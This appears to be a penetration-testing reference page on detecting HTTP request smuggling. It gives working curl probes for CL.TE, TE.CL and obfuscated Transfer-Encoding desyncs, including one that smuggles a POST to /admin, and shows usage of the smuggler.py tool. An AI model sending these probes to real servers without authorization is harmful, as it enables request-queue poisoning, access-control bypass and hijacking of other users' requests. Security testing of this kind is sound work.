# HTTP Request Smuggling Detection

- **URL:** https://hackindex.io/services/web/vulnerability-discovery/http-request-smuggling
- **Path:** HTTP/HTTPS > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/web/vulnerability-discovery.md)
- **Published:** 2026-03-28
- **Updated:** 2026-03-28

HTTP request smuggling exploits disagreements between frontend proxies and backend servers over where one HTTP request ends and the next begins. A successful smuggle can poison the request queue, bypass security controls, hijack other users' requests, and trigger reflected XSS. Detection confirms whether the frontend and backend parse Transfer-Encoding and Content-Length headers differently. Inspect the proxy architecture first through [HTTP header analysis](https://hackindex.io/services/web/enumeration/http-header-analysis).

- **CL.TE detection** tests when the frontend uses Content-Length and the backend uses Transfer-Encoding.
- **TE.CL detection** tests the reverse, where the frontend uses Transfer-Encoding and the backend uses Content-Length.
- **smuggler.py** automates CL.TE and TE.CL probes across all methods and obfuscation variants.
- **TE obfuscation** tests non-standard Transfer-Encoding header formatting that frontends may pass through.

## CL.TE Detection

The frontend uses Content-Length, the backend uses Transfer-Encoding. Send a request where the CL says the body ends before TE terminates. If the backend keeps a fragment from your request and prepends it to the next request, smuggling is confirmed:

```bash
curl -sk -X POST https://$DOMAIN/ -H 'Content-Type: application/x-www-form-urlencoded' -H 'Content-Length: 6' -H 'Transfer-Encoding: chunked' --data-binary $'0\r\n\r\nX' --http1.1 -o /dev/null -w '%{http_code}'
```

## TE.CL Detection

The frontend uses Transfer-Encoding, the backend uses Content-Length. Send a chunked request with a large claimed Content-Length. The backend waits for more data, causing a timeout if TE.CL smuggling is possible:

```bash
timeout 15 curl -sk -X POST https://$DOMAIN/ -H 'Content-Type: application/x-www-form-urlencoded' -H 'Content-Length: 4' -H 'Transfer-Encoding: chunked' --data-binary $'5e\r\nPOST /admin HTTP/1.1\r\nHost: $DOMAIN\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 30\r\n\r\nx=1\r\n0\r\n\r\n' --http1.1; echo "exit: $?"
```

## smuggler.py for Automated Detection

smuggler automates CL.TE and TE.CL probes across all methods and obfuscation variants:

```bash
git clone https://github.com/defparam/smuggler && cd smuggler
```

```bash
python3 smuggler.py -u https://$DOMAIN/ -m POST
# [+] CL.TE Possible! Timeout detected on chunked body
```

A timeout or unexpected response from smuggler confirms a desync condition. Manual verification with timing is more reliable than automated tools alone: follow up with a manual probe to confirm before reporting.

## TE Obfuscation Variants

Some frontends strip a well-formed Transfer-Encoding header but pass obfuscated variants to the backend. Test these when standard headers are not triggering a desync:

```bash
curl -sk -X POST https://$DOMAIN/ --data-binary $'0\r\n\r\n' -H 'Content-Length: 6' -H 'Transfer-Encoding : chunked' --http1.1 -o /dev/null -w '%{time_total}'
```

## References

- [PortSwigger: HTTP Request Smuggling](https://portswigger.net/web-security/request-smuggling) - CL.TE and TE.CL detection methodology and timing-based confirmation
- [smuggler](https://github.com/defparam/smuggler) - Automated HTTP request smuggling detection tool